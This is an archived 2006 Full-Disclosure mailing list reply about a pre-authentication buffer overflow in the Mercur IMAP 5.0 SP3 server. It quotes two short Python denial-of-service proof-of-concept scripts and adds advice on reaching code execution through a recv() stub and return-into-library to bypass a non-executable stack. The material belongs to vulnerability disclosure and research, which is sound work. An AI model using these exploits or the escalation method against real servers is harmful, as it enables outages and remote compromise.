lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <721841599.20060317151559@SECURITY.NNOV.RU>
Date: Fri Mar 17 12:16:10 2006
From: 3APA3A at SECURITY.NNOV.RU (3APA3A)
Subject: Mercur IMAPD 5.0 SP3 DoS Exploit or more?

Dear Tim Taylor,

Same bug was reported for 4.2, see
http://www.security.nnov.ru/news2164.html

A  common  exploitation  solutions  is  placing  the  rest  of shellcode
somewhere  else  on  the memory. In the best case you can place it after
"\r\n",  may  be  "\r\n\0..."  in  the same send() buffer, if vulnerable
application  limits  the  length  of  the string, but receives data into
larger  buffer. You can also use command tag (a001 in example), hostname
or  another  controlled  data  that  finally can be found in the process
memory.

In  the  worst  case you have nothing to control in memory, 135 bytes is
enough  to simply recv() the rest of shellcode. With suggestion there is
no  more  current  connections,  socket number will be always same. Even
more:  you  can bypass non-executable stack protection by calling recv()
with some known to be allocated dynamic memory address as a buffer using
return-into-library   technique   (see   Solar  Designer's  article)  by
overwriting  saved  EIP  with  recv()  address.  To  have  received code
executed  you should place buffer address on the stack in a place recv()
expects saved EIP. That is your stack buffer contains no shellcode, but:

flags
len
buf
s
...
buf ;    again, as an address recv() use as saved EIP
...
recv;    address of recv function from winsock library overwrites saved EIP

--Friday, March 17, 2006, 12:30:44 AM, you wrote to full-disclosure@...ts.grok.org.uk:

TT> Hi folks,

TT> I found this bugs in a imap-server called Mercur IMAP 5.0 SP3 from
TT> http://www.atrium-software.com/, but i was not able to exploit it successful
TT> for a remote shell on WinXP ServicePack2. The program has an intern check
TT> for the string length or something like that. I can overwrite the EIP
TT> successfully but can not put my shellcode behind the EIP. Because of this
TT> fact i have to write the shellcode in front of the EIP and this results in a
TT> 135 byte for the shellcode without the required "a login" or "a select".
TT> Perhaps someone has a clue and can solve this problems and teach me some
TT> lessons for the future.

TT> -- DoS Exploit --
TT> # Atrium Mercur IMAP 5.0 SP3 DoS Exploit
TT> # pre authentifcation buffer overflow in imap command login
TT> import socket
TT> s=socket.socket()
TT> s.connect(("127.0.0.1", 143))
TT> print s.recv(256)
TT> s.send("a001 login "\x41" * 275 + "\r\n")

TT> # buffer overflow in imap commands like select and others
TT> import socket
TT> s=socket.socket()
TT> s.connect(("127.0.0.1", 143))
TT> print s.recv(256)
TT> s.send("a001 login test test\r\n")
TT> print s.recv(256)
TT> s.send("a002 select " + "\x41" * 239 + "\r\n")

TT> By the way at the first look it seems to be like some older bugs of this
TT> piece of software but I do not think so.

TT> Cheers

TT> Tim Taylor



-- 
~/ZARAZA
???? ??? ?????? ??????, ??? ????????? ????? ?????. (???)

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ